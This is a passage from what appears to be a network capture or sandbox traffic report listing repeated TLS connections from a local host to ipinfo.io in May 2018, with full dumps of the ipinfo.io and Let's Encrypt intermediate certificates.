.b.......?..H...0060: B6 65 62 E0 C1 54 E5 A3 2A AD 20 C4 E9 E6 BB DC .eb..T..*. .....0070: C8 F6 B5 C3 32 A3 98 CC 77 A8 E6 79 65 07 2B CB ....2...w..ye.+.0080: 28 FE 3A 16 52 81 CE 52 0C 2E 5F 83 E8 D5 06 33 (.:.R..R.._....30090: FB 77 6C CE 40 EA 32 9E 1F 92 5C 41 C1 74 6C 5B .wl.@.2...\A.tl[00A0: 5D 0A 5F 33 CC 4D 9F AC 38 F0 2F 7B 2C 62 9D D9 ]._3.M..8./.,b..00B0: A3 91 6F 25 1B 2F 90 B1 19 46 3D F6 7E 1B A6 7A ..o%./...F=....z00C0: 87 B9 A3 7A 6D 18 FA 25 A5 91 87 15 E0 F2 16 2F ...zm..%......./00D0: 58 B0 06 2F 2C 68 26 C6 4B 98 CD DA 9F 0C F9 7F X../,h&.K.......00E0: 90 ED 43 4A 12 44 4E 6F 73 7A 28 EA A4 AA 6E 7B ..CJ.DNosz(...n.00F0: 4C 7D 87 DD E0 C9 02 44 A7 87 AF C3 34 5B B4 42 L......D....4[.B]
May 11, 2018 14:13:19.667448044 CEST	443	49193	216.239.32.21	192.168.1.13	CN=ipinfo.io	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	Wed May 02 04:14:57 CEST 2018	Tue Jul 31 04:14:57 CEST 2018	[[ Version: V3 Subject: CN=ipinfo.io Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26147892589792244358670635135877219865952817375752389827951013179201955256426848533007246584458633626197317677435688092351462835591281770205106169370153273213168417095408143083709386565762758754665362777167021619623499758265089705900972803317025082094190341677401740354620038374223250920348380753200236988199552759736979907329385652629465415679430755200722829574000628330409390333820905754403627681325727307763919710598291157308707781003556889107549302677705475933885358922993588039116821296857777502783685899408864942557549637674486119652881384823473805817111555501709331951791094092773411354396742422486319073696379 public exponent: 65537 Validity: [From: Wed May 02 04:14:57 CEST 2018, To: Tue Jul 31 04:14:57 CEST 2018] Issuer: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US SerialNumber: [ 03345185 46293bd4 507e2dc6 ba311896 9d6d]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.4.1.11129.2.4.2 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 81 F5 04 81 F2 00 F0 00 76 00 DB 74 AF EE CB .........v..t...0010: 29 EC B1 FE CA 3E 71 6D 2C E5 B9 AA BB 36 F7 84 )....>qm,....6..0020: 71 83 C7 5D 9D 4F 37 B6 1F BF 64 00 00 01 63 1E q..].O7...d...c.0030: D8 88 DA 00 00 04 03 00 47 30 45 02 20 4A F4 56 ........G0E. J.V0040: 70 04 BD 41 B2 33 A5 D8 A3 13 C3 14 07 29 CF 42 p..A.3.......).B0050: 96 B5 10 B9 AB 71 94 26 97 78 35 D7 51 02 21 00 .....q.&.x5.Q.!.0060: C3 73 79 9F 76 B8 40 74 A9 A6 43 56 B7 F3 79 41 .sy.v.@t..CV..yA0070: F7 8E BC 76 69 B9 9F 6B AC 26 0B B8 DD 16 FC FF ...vi..k.&......0080: 00 76 00 A4 50 12 69 05 5A 15 54 5E 62 11 AB 37 .v..P.i.Z.T^b..70090: BC 10 3F 62 AE 55 76 A4 5E 4B 17 14 45 3E 1B 22 ..?b.Uv.^K..E>."00A0: 10 6A 25 00 00 01 63 1E D8 88 C4 00 00 04 03 00 .j%...c.........00B0: 47 30 45 02 21 00 C7 76 DB E9 6F 37 74 58 AB B8 G0E.!..v..o7tX..00C0: E3 E3 3A FF D7 FD 7B B2 88 05 AA 1E F7 3B C9 23 ..:..........;.#00D0: 3F DA 91 FB 89 10 02 20 15 30 C8 96 51 54 CA E2 ?...... .0..QT..00E0: 48 84 27 C9 3A 33 47 C9 E7 19 1A 1F A1 FA 1D B1 H.'.:3G.........00F0: 8B 57 1A 89 C9 D3 4C 76 .W....Lv[2]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.int-x3.letsencrypt.org, accessMethod: caIssuers accessLocation: URIName: http://cert.int-x3.letsencrypt.org/]][3]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]][4]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1A 68 74 74 70 3A 2F 2F 63 70 73 2E 6C 65 74 ..http://cps.let0010: 73 65 6E 63 72 79 70 74 2E 6F 72 67 sencrypt.org], PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.2 qualifier: 0000: 30 81 9E 0C 81 9B 54 68 69 73 20 43 65 72 74 69 0.....This Certi0010: 66 69 63 61 74 65 20 6D 61 79 20 6F 6E 6C 79 20 ficate may only 0020: 62 65 20 72 65 6C 69 65 64 20 75 70 6F 6E 20 62 be relied upon b0030: 79 20 52 65 6C 79 69 6E 67 20 50 61 72 74 69 65 y Relying Partie0040: 73 20 61 6E 64 20 6F 6E 6C 79 20 69 6E 20 61 63 s and only in ac0050: 63 6F 72 64 61 6E 63 65 20 77 69 74 68 20 74 68 cordance with th0060: 65 20 43 65 72 74 69 66 69 63 61 74 65 20 50 6F e Certificate Po0070: 6C 69 63 79 20 66 6F 75 6E 64 20 61 74 20 68 74 licy found at ht0080: 74 70 73 3A 2F 2F 6C 65 74 73 65 6E 63 72 79 70 tps://letsencryp0090: 74 2E 6F 72 67 2F 72 65 70 6F 73 69 74 6F 72 79 t.org/repository00A0: 2F /]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: ipinfo.io][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: E2 7D C6 13 A8 1B A0 51 4F 2F 9D C4 89 D9 0F 31 .......QO/.....10010: 9A 35 D8 5A .5.Z]]] Algorithm: [SHA256withRSA] Signature:0000: 5B 60 4B 9E 00 A4 F7 4E 7C 95 03 6A 67 E5 71 B2 [`K....N...jg.q.0010: 1C B6 6D 60 EA 9F B1 A2 3C BA BF 3B 05 15 12 75 ..m`....<..;...u0020: F8 8F BD 60 54 80 B3 C6 C6 C5 F6 79 B8 F6 AC E6 ...`T......y....0030: DC CD 7D 9D 2F 61 9C E6 85 A7 EC E3 4B FF B0 7A ..../a......K..z0040: DA 70 80 76 77 EA 52 F4 2A B3 6B 90 95 63 35 8D .p.vw.R.*.k..c5.0050: 47 E2 E5 47 6D 9C 80 86 D9 B4 9F 14 86 74 42 1F G..Gm........tB.0060: 7E 93 F8 51 5C 50 83 36 77 02 27 CF F2 80 AE 29 ...Q\P.6w.'....)0070: 4B 97 D5 F1 63 BC 14 08 DF 71 93 85 87 1D 84 61 K...c....q.....a0080: ED 65 14 AD 1A B8 EE E6 C5 EB F3 B1 CB 0C 75 F0 .e............u.0090: 9A B0 31 B0 48 FC 42 69 1A 13 9C E6 45 37 0E EF ..1.H.Bi....E7..00A0: A8 42 A8 C7 B0 4A 16 B2 81 61 D4 E9 A3 32 8E 33 .B...J...a...2.300B0: 97 73 57 84 88 E2 EA B2 CA 84 B9 BD BF 5E 1A 83 .sW..........^..00C0: 73 CB 15 FE 1A CF 09 C2 7E 3A 3C F3 1A D1 53 72 s........:<...Sr00D0: 6F F2 45 0C DD BF C3 D1 5F 6B 51 AF 93 BD D0 76 o.E....._kQ....v00E0: EB 1C DD 60 C3 5E CD 34 F4 42 7B 9D C4 94 39 48 ...`.^.4.B....9H00F0: 8A 02 FD 4D 30 DB FC 40 14 AF 56 6D 42 14 54 DE ...M0..@..VmB.T.]
May 11, 2018 14:13:19.667448044 CEST	443	49193	216.239.32.21	192.168.1.13	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Mar 17 17:40:46 CET 2016	Wed Mar 17 17:40:46 CET 2021	[[ Version: V3 Subject: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 19797248476075437682355852246492227182925025209894527646389863306257272162327717438476096960751529894413137923782807258828237626757946953550223743258656059351948211427799114263948499232121738590221774214131983890556391436336270214266656447169277800971416884432628642288505627878176138101439755752196484972290641499489076846352390454201028735981960275647482014359370041238010607728611828345534572152635280172155598035959878659370929022966413402097129857505568509453268467065766156311136296802046438183697980908977865999500405760226706893415483460747503705792669060406182022181441316967415301631965711690685520847684499 public exponent: 65537 Validity: [From: Thu Mar 17 17:40:46 CET 2016, To: Wed Mar 17 17:40:46 CET 2021] Issuer: CN=DST Root CA X3, O=Digital Signature Trust Co. SerialNumber: [ 0a014142 00000153 85736a0b 85eca708]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://isrg.trustid.ocsp.identrust.com, accessMethod: caIssuers accessLocation: URIName: http://apps.identrust.com/roots/dstrootcax3.p7c]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: C4 A7 B1 A4 7B 2C 71 FA DB E1 4B 90 75 FF C4 15 .....,q...K.u...0010: 60 85 89 10 `...]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.identrust.com/DSTROOTCAX3CRL.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 22 68 74 74 70 3A 2F 2F 63 70 73 2E 72 6F 6F ."http://cps.roo0010: 74 2D 78 31 2E 6C 65 74 73 65 6E 63 72 79 70 74 t-x1.letsencrypt0020: 2E 6F 72 67 .org]] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]]] Algorithm: [SHA256withRSA] Signature:0000: DD 33 D7 11 F3 63 58 38 DD 18 15 FB 09 55 BE 76 .3...cX8.....U.v0010: 56 B9 70 48 A5 69 47 27 7B C2 24 08 92 F1 5A 1F V.pH.iG'..$...Z.0020: 4A 12 29 37 24 74 51 1C 62 68 B8 CD 95 70 67 E5 J.)7$tQ.bh...pg.0030: F7 A4 BC 4E 28 51 CD 9B E8 AE 87 9D EA D8 BA 5A ...N(Q.........Z0040: A1 01 9A DC F0 DD 6A 1D 6A D8 3E 57 23 9E A6 1E ......j.j.>W#...0050: 04 62 9A FF D7 05 CA B7 1F 3F C0 0A 48 BC 94 B0 .b.......?..H...0060: B6 65 62 E0 C1 54 E5 A3 2A AD 20 C4 E9 E6 BB DC .eb..T..*. .....0070: C8 F6 B5 C3 32 A3 98 CC 77 A8 E6 79 65 07 2B CB ....2...w..ye.+.0080: 28 FE 3A 16 52 81 CE 52 0C 2E 5F 83 E8 D5 06 33 (.:.R..R.._....30090: FB 77 6C CE 40 EA 32 9E 1F 92 5C 41 C1 74 6C 5B .wl.@.2...\A.tl[00A0: 5D 0A 5F 33 CC 4D 9F AC 38 F0 2F 7B 2C 62 9D D9 ]._3.M..8./.,b..00B0: A3 91 6F 25 1B 2F 90 B1 19 46 3D F6 7E 1B A6 7A ..o%./...F=....z00C0: 87 B9 A3 7A 6D 18 FA 25 A5 91 87 15 E0 F2 16 2F ...zm..%......./00D0: 58 B0 06 2F 2C 68 26 C6 4B 98 CD DA 9F 0C F9 7F X../,h&.K.......00E0: 90 ED 43 4A 12 44 4E 6F 73 7A 28 EA A4 AA 6E 7B ..CJ.DNosz(...n.00F0: 4C 7D 87 DD E0 C9 02 44 A7 87 AF C3 34 5B B4 42 L......D....4[.B]
May 11, 2018 14:13:21.677200079 CEST	443	49198	216.239.32.21	192.168.1.13	CN=ipinfo.io	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	Wed May 02 04:14:57 CEST 2018	Tue Jul 31 04:14:57 CEST 2018	[[ Version: V3 Subject: CN=ipinfo.io Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26147892589792244358670635135877219865952817375752389827951013179201955256426848533007246584458633626197317677435688092351462835591281770205106169370153273213168417095408143083709386565762758754665362777167021619623499758265089705900972803317025082094190341677401740354620038374223250920348380753200236988199552759736979907329385652629465415679430755200722829574000628330409390333820905754403627681325727307763919710598291157308707781003556889107549302677705475933885358922993588039116821296857777502783685899408864942557549637674486119652881384823473805817111555501709331951791094092773411354396742422486319073696379 public exponent: 65537 Validity: [From: Wed May 02 04:14:57 CEST 2018, To: Tue Jul 31 04:14:57 CEST 2018] Issuer: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US SerialNumber: [ 03345185 46293bd4 507e2dc6 ba311896 9d6d]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.4.1.11129.2.4.2 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 81 F5 04 81 F2 00 F0 00 76 00 DB 74 AF EE CB .........v..t...0010: 29 EC B1 FE CA 3E 71 6D 2C E5 B9 AA BB 36 F7 84 )....>qm,....6..0020: 71 83 C7 5D 9D 4F 37 B6 1F BF 64 00 00 01 63 1E q..].O7...d...c.0030: D8 88 DA 00 00 04 03 00 47 30 45 02 20 4A F4 56 ........G0E. J.V0040: 70 04 BD 41 B2 33 A5 D8 A3 13 C3 14 07 29 CF 42 p..A.3.......).B0050: 96 B5 10 B9 AB 71 94 26 97 78 35 D7 51 02 21 00 .....q.&.x5.Q.!.0060: C3 73 79 9F 76 B8 40 74 A9 A6 43 56 B7 F3 79 41 .sy.v.@t..CV..yA0070: F7 8E BC 76 69 B9 9F 6B AC 26 0B B8 DD 16 FC FF ...vi..k.&......0080: 00 76 00 A4 50 12 69 05 5A 15 54 5E 62 11 AB 37 .v..P.i.Z.T^b..70090: BC 10 3F 62 AE 55 76 A4 5E 4B 17 14 45 3E 1B 22 ..?b.Uv.^K..E>."00A0: 10 6A 25 00 00 01 63 1E D8 88 C4 00 00 04 03 00 .j%...c.........00B0: 47 30 45 02 21 00 C7 76 DB E9 6F 37 74 58 AB B8 G0E.!..v..o7tX..00C0: E3 E3 3A FF D7 FD 7B B2 88 05 AA 1E F7 3B C9 23 ..:..........;.#00D0: 3F DA 91 FB 89 10 02 20 15 30 C8 96 51 54 CA E2 ?...... .0..QT..00E0: 48 84 27 C9 3A 33 47 C9 E7 19 1A 1F A1 FA 1D B1 H.'.:3G.........00F0: 8B 57 1A 89 C9 D3 4C 76 .W....Lv[2]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.int-x3.letsencrypt.org, accessMethod: caIssuers accessLocation: URIName: http://cert.int-x3.letsencrypt.org/]][3]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]][4]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1A 68 74 74 70 3A 2F 2F 63 70 73 2E 6C 65 74 ..http://cps.let0010: 73 65 6E 63 72 79 70 74 2E 6F 72 67 sencrypt.org], PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.2 qualifier: 0000: 30 81 9E 0C 81 9B 54 68 69 73 20 43 65 72 74 69 0.....This Certi0010: 66 69 63 61 74 65 20 6D 61 79 20 6F 6E 6C 79 20 ficate may only 0020: 62 65 20 72 65 6C 69 65 64 20 75 70 6F 6E 20 62 be relied upon b0030: 79 20 52 65 6C 79 69 6E 67 20 50 61 72 74 69 65 y Relying Partie0040: 73 20 61 6E 64 20 6F 6E 6C 79 20 69 6E 20 61 63 s and only in ac0050: 63 6F 72 64 61 6E 63 65 20 77 69 74 68 20 74 68 cordance with th0060: 65 20 43 65 72 74 69 66 69 63 61 74 65 20 50 6F e Certificate Po0070: 6C 69 63 79 20 66 6F 75 6E 64 20 61 74 20 68 74 licy found at ht0080: 74 70 73 3A 2F 2F 6C 65 74 73 65 6E 63 72 79 70 tps://letsencryp0090: 74 2E 6F 72 67 2F 72 65 70 6F 73 69 74 6F 72 79 t.org/repository00A0: 2F /]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: ipinfo.io][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: E2 7D C6 13 A8 1B A0 51 4F 2F 9D C4 89 D9 0F 31 .......QO/.....10010: 9A 35 D8 5A .5.Z]]] Algorithm: [SHA256withRSA] Signature:0000: 5B 60 4B 9E 00 A4 F7 4E 7C 95 03 6A 67 E5 71 B2 [`K....N...jg.q.0010: 1C B6 6D 60 EA 9F B1 A2 3C BA BF 3B 05 15 12 75 ..m`....<..;...u0020: F8 8F BD 60 54 80 B3 C6 C6 C5 F6 79 B8 F6 AC E6 ...`T......y....0030: DC CD 7D 9D 2F 61 9C E6 85 A7 EC E3 4B FF B0 7A ..../a......K..z0040: DA 70 80 76 77 EA 52 F4 2A B3 6B 90 95 63 35 8D .p.vw.R.*.k..c5.0050: 47 E2 E5 47 6D 9C 80 86 D9 B4 9F 14 86 74 42 1F G..Gm........tB.0060: 7E 93 F8 51 5C 50 83 36 77 02 27 CF F2 80 AE 29 ...Q\P.6w.'....)0070: 4B 97 D5 F1 63 BC 14 08 DF 71 93 85 87 1D 84 61 K...c....q.....a0080: ED 65 14 AD 1A B8 EE E6 C5 EB F3 B1 CB 0C 75 F0 .e............u.0090: 9A B0 31 B0 48 FC 42 69 1A 13 9C E6 45 37 0E EF ..1.H.Bi....E7..00A0: A8 42 A8 C7 B0 4A 16 B2 81 61 D4 E9 A3 32 8E 33 .B...J...a...2.300B0: 97 73 57 84 88 E2 EA B2 CA 84 B9 BD BF 5E 1A 83 .sW..........^..00C0: 73 CB 15 FE 1A CF 09 C2 7E 3A 3C F3 1A D1 53 72 s........:<...Sr00D0: 6F F2 45 0C DD BF C3 D1 5F 6B 51 AF 93 BD D0 76 o.E....._kQ....v00E0: EB 1C DD 60 C3 5E CD 34 F4 42 7B 9D C4 94 39 48 ...`.^.4.B....9H00F0: 8A 02 FD 4D 30 DB FC 40 14 AF 56 6D 42 14 54 DE ...M0..@..VmB.T.]
May 11, 2018 14:13:21.677200079 CEST	443	49198	216.239.32.21	192.168.1.13	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Mar 17 17:40:46 CET 2016	Wed Mar 17 17:40:46 CET 2021	[[ Version: V3 Subject: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 19797248476075437682355852246492227182925025209894527646389863306257272162327717438476096960751529894413137923782807258828237626757946953550223743258656059351948211427799114263948499232121738590221774214131983890556391436336270214266656447169277800971416884432628642288505627878176138101439755752196484972290641499489076846352390454201028735981960275647482014359370041238010607728611828345534572152635280172155598035959878659370929022966413402097129857505568509453268467065766156311136296802046438183697980908977865999500405760226706893415483460747503705792669060406182022181441316967415301631965711690685520847684499 public exponent: 65537 Validity: [From: Thu Mar 17 17:40:46 CET 2016, To: Wed Mar 17 17:40:46 CET 2021] Issuer: CN=DST Root CA X3, O=Digital Signature Trust Co. SerialNumber: [ 0a014142 00000153 85736a0b 85eca708]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://isrg.trustid.ocsp.identrust.com, accessMethod: caIssuers accessLocation: URIName: http://apps.identrust.com/roots/dstrootcax3.p7c]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: C4 A7 B1 A4 7B 2C 71 FA DB E1 4B 90 75 FF C4 15 .....,q...K.u...0010: 60 85 89 10 `...]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.identrust.com/DSTROOTCAX3CRL.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 22 68 74 74 70 3A 2F 2F 63 70 73 2E 72 6F 6F ."http://cps.roo0010: 74 2D 78 31 2E 6C 65 74 73 65 6E 63 72 79 70 74 t-x1.letsencrypt0020: 2E 6F 72 67 .org]] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]]] Algorithm: [SHA256withRSA] Signature:0000: DD 33 D7 11 F3 63 58 38 DD 18 15 FB 09 55 BE 76 .3...cX8.....U.v0010: 56 B9 70 48 A5 69 47 27 7B C2 24 08 92 F1 5A 1F V.pH.iG'..$...Z.0020: 4A 12 29 37 24 74 51 1C 62 68 B8 CD 95 70 67 E5 J.)7$tQ.bh...pg.0030: F7 A4 BC 4E 28 51 CD 9B E8 AE 87 9D EA D8 BA 5A ...N(Q.........Z0040: A1 01 9A DC F0 DD 6A 1D 6A D8 3E 57 23 9E A6 1E ......j.j.>W#...0050: 04 62 9A FF D7 05 CA B7 1F 3F C0 0A 48 BC 94 B0 .b.......?..H...0060: B6 65 62 E0 C1 54 E5 A3 2A AD 20 C4 E9 E6 BB DC .eb..T..*. .....0070: C8 F6 B5 C3 32 A3 98 CC 77 A8 E6 79 65 07 2B CB ....2...w..ye.+.0080: 28 FE 3A 16 52 81 CE 52 0C 2E 5F 83 E8 D5 06 33 (.:.R..R.._....30090: FB 77 6C CE 40 EA 32 9E 1F 92 5C 41 C1 74 6C 5B .wl.@.2...\A.tl[00A0: 5D 0A 5F 33 CC 4D 9F AC 38 F0 2F 7B 2C 62 9D D9 ]._3.M..8./.,b..00B0: A3 91 6F 25 1B 2F 90 B1 19 46 3D F6 7E 1B A6 7A ..o%./...F=....z00C0: 87 B9 A3 7A 6D 18 FA 25 A5 91 87 15 E0 F2 16 2F ...zm..%......./00D0: 58 B0 06 2F 2C 68 26 C6 4B 98 CD DA 9F 0C F9 7F X../,h&.K.......00E0: 90 ED 43 4A 12 44 4E 6F 73 7A 28 EA A4 AA 6E 7B ..CJ.DNosz(...n.00F0: 4C 7D 87 DD E0 C9 02 44 A7 87 AF C3 34 5B B4 42 L......D....4[.B]
May 11, 2018 14:13:27.652431965 CEST	443	49204	216.239.32.21	192.168.1.13	CN=ipinfo.io	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	Wed May 02 04:14:57 CEST 2018	Tue Jul 31 04:14:57 CEST 2018	[[ Version: V3 Subject: CN=ipinfo.io Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26147892589792244358670635135877219865952817375752389827951013179201955256426848533007246584458633626197317677435688092351462835591281770205106169370153273213168417095408143083709386565762758754665362777167021619623499758265089705900972803317025082094190341677401740354620038374223250920348380753200236988199552759736979907329385652629465415679430755200722829574000628330409390333820905754403627681325727307763919710598291157308707781003556889107549302677705475933885358922993588039116821296857777502783685899408864942557549637674486119652881384823473805817111555501709331951791094092773411354396742422486319073696379 public exponent: 65537 Validity: [From: Wed May 02 04:14:57 CEST 2018, To: Tue Jul 31 04:14:57 CEST 2018] Issuer: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US SerialNumber: [ 03345185 46293bd4 507e2dc6 ba311896 9d6d]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.4.1.11129.2.4.2 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 81 F5 04 81 F2 00 F0 00 76 00 DB 74 AF EE CB .........v..t...0010: 29 EC B1 FE CA 3E 71 6D 2C E5 B9 AA BB 36 F7 84 )....>qm,....6..0020: 71 83 C7 5D 9D 4F 37 B6 1F BF 64 00 00 01 63 1E q..].O7...d...c.0030: D8 88 DA 00 00 04 03 00 47 30 45 02 20 4A F4 56 ........G0E. J.V0040: 70 04 BD 41 B2 33 A5 D8 A3 13 C3 14 07 29 CF 42 p..A.3.......).B0050: 96 B5 10 B9 AB 71 94 26 97 78 35 D7 51 02 21 00 .....q.&.x5.Q.!.0060: C3 73 79 9F 76 B8 40 74 A9 A6 43 56 B7 F3 79 41 .sy.v.@t..CV..yA0070: F7 8E BC 76 69 B9 9F 6B AC 26 0B B8 DD 16 FC FF ...vi..k.&......0080: 00 76 00 A4 50 12 69 05 5A 15 54 5E 62 11 AB 37 .v..P.i.Z.T^b..70090: BC 10 3F 62 AE 55 76 A4 5E 4B 17 14 45 3E 1B 22 ..?b.Uv.^K..E>."00A0: 10 6A 25 00 00 01 63 1E D8 88 C4 00 00 04 03 00 .j%...c.........00B0: 47 30 45 02 21 00 C7 76 DB E9 6F 37 74 58 AB B8 G0E.!..v..o7tX..00C0: E3 E3 3A FF D7 FD 7B B2 88 05 AA 1E F7 3B C9 23 ..:..........;.#00D0: 3F DA 91 FB 89 10 02 20 15 30 C8 96 51 54 CA E2 ?...... .0..QT..00E0: 48 84 27 C9 3A 33 47 C9 E7 19 1A 1F A1 FA 1D B1 H.'.:3G.........00F0: 8B 57 1A 89 C9 D3 4C 76 .W....Lv[2]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.int-x3.letsencrypt.org, accessMethod: caIssuers accessLocation: URIName: http://cert.int-x3.letsencrypt.org/]][3]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]][4]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1A 68 74 74 70 3A 2F 2F 63 70 73 2E 6C 65 74 ..http://cps.let0010: 73 65 6E 63 72 79 70 74 2E 6F 72 67 sencrypt.org], PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.2 qualifier: 0000: 30 81 9E 0C 81 9B 54 68 69 73 20 43 65 72 74 69 0.....This Certi0010: 66 69 63 61 74 65 20 6D 61 79 20 6F 6E 6C 79 20 ficate may only 0020: 62 65 20 72 65 6C 69 65 64 20 75 70 6F 6E 20 62 be relied upon b0030: 79 20 52 65 6C 79 69 6E 67 20 50 61 72 74 69 65 y Relying Partie0040: 73 20 61 6E 64 20 6F 6E 6C 79 20 69 6E 20 61 63 s and only in ac0050: 63 6F 72 64 61 6E 63 65 20 77 69 74 68 20 74 68 cordance with th0060: 65 20 43 65 72 74 69 66 69 63 61 74 65 20 50 6F e Certificate Po0070: 6C 69 63 79 20 66 6F 75 6E 64 20 61 74 20 68 74 licy found at ht0080: 74 70 73 3A 2F 2F 6C 65 74 73 65 6E 63 72 79 70 tps://letsencryp0090: 74 2E 6F 72 67 2F 72 65 70 6F 73 69 74 6F 72 79 t.org/repository00A0: 2F /]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 